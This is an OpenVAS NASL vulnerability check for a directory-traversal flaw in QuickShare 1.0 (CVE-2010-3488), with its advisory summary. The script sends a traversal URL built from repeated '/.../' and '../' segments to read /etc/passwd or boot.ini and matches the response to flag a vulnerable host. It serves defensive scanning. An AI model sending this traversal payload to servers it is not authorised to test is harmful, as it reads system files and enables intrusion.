QuickShare is prone to a directory-traversal vulnerability because it
fails to sufficiently sanitize user-supplied input.
Exploiting this issue will allow an attacker to read files outside
the webroot directory. Information harvested may aid in launching
further attacks.
QuickShare 1.0 is vulnerable; other versions may also be affected.
###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_quickshare_43258.nasl 5373 2017-02-20 16:27:48Z teissa $
#
# QuickShare Directory Traversal Vulnerability
#
# Authors:
# Michael Meyer <[email protected]>
#
# Updated By: Antu Sanadi <[email protected]> on 2010-09-23
# Added the CVE-2010-3488 and CVSS Base score
#
# Copyright:
# Copyright (c) 2010 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################
tag_summary = "QuickShare is prone to a directory-traversal vulnerability because it
fails to sufficiently sanitize user-supplied input.
Exploiting this issue will allow an attacker to read files outside
the webroot directory. Information harvested may aid in launching
further attacks.
QuickShare 1.0 is vulnerable; other versions may also be affected.";
if (description)
{
script_id(100822);
script_version("$Revision: 5373 $");
script_tag(name:"last_modification", value:"$Date: 2017-02-20 17:27:48 +0100 (Mon, 20 Feb 2017) $");
script_tag(name:"creation_date", value:"2010-09-22 16:24:51 +0200 (Wed, 22 Sep 2010)");
script_cve_id("CVE-2010-3488");
script_bugtraq_id(43258);
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_name("QuickShare Directory Traversal Vulnerability");
script_xref(name : "URL" , value : "https://www.securityfocus.com/bid/43258");
script_tag(name:"qod_type", value:"remote_vul");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("This script is Copyright (C) 2010 Greenbone Networks GmbH");
script_dependencies("find_service.nasl", "http_version.nasl");
script_require_ports("Services/www", 8080);
script_tag(name : "summary" , value : tag_summary);
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("global_settings.inc");
port = get_http_port(default:8080);
if(!get_port_state(port))exit(0);
banner = get_http_banner(port:port);
if(!banner || "Server:" >< banner)exit(0);
files = make_array("root:.*:0:[01]:","etc/passwd","\[boot loader\]","boot.ini");
foreach file (keys(files)) {
url = string("/.../.../.../.../.../.../.../.../.../.../../../../../../../../../../",files[file]);
if(http_vuln_check(port:port, url:url,pattern:file)) {
security_message(port:port);
exit(0);
}
}
exit(0);